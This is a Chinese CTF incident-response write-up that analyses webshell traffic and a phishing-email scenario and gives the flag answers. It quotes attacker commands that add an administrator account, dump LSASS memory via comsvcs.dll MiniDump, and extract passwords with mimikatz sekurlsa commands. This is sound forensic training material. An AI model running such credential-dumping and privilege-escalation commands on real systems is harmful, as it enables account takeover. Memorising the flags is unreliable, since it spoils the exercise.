cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net localgroup administrators admin /add&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&whoami /all&echo [S]&cd&echo [E]

也能够很明显的发现账号密码

1
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net user admin Password1 /add&echo [S]&cd&echo [E]
1
flag{Password1}

任务二

1
LSASS.exe的程序进程ID是多少?

这个上面中也查到了的

1
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&rundll32.exe comsvcs.dll, MiniDump 852
1
flag{852}

任务三

1
用户WIN101的密码是什么?

上面的解密,我们发现有个OnlineShopBackup.zip压缩包,我们将之导出首先就是

找到47MB的导出分组字节流product2.php 因为是蚁剑流量所以会有多余字节,删除即可。多余字节 e1c1709 加载mimiktz

1
2
sekurlsa::minidump 1.dmp
sekurlsa::logonpasswords

image-20240616201345735

然后拿到NTLM值,直接尝试md5解密即可

image-20240616201434726

1
flag{admin#123}

第七章 常见攻击事件分析

钓鱼邮件

任务一

1
请分析获取黑客发送钓鱼邮件时使用的IP,flag格式: flag{11.22.33.44}

通常情况下最后一个Received部分可能会显示真实发件ip地址

image-20240621221525817

1
flag{121.204.224.15}

任务二

1
请分析获取黑客钓鱼邮件中使用的木马程序的控制端IP,flag格式:flag{11.22.33.44}

将base64加密的数据解密导出成zip文件,就能获得对应的恶意exe文件,这个时候就可以将这个恶意文件找一个在线沙箱丢进去监测一下

image-20240621222708562

1
flag{107.16.111.57}

任务三

1
黑客在被控服务器上创建了webshell,请分析获取webshell的文件名,请使用完整文件格式,flag格式:flag{/var/www/html/shell.php}

直接就是将对应的web目录丢进d盾中去进行检测即可

直接就是找到对应的后门文件

1
flag{/var/www/html/admin/ebak/ReData.php}

任务四

1
flag4: 黑客在被控服务器上创建了内网代理隐蔽通信隧道,请分析获取该隧道程序的文件名,请使用完整文件路径,flag格式:flag{/opt/apache2/shell}

发现就是还给了个tmp文件夹,我们就是直接去查看一下这个里面的内容

image-20240621223352617

发现创建了socks,所以就是使用mysql去搭建对应的内网隧道

1
flag{/var/tmp/proc/mysql}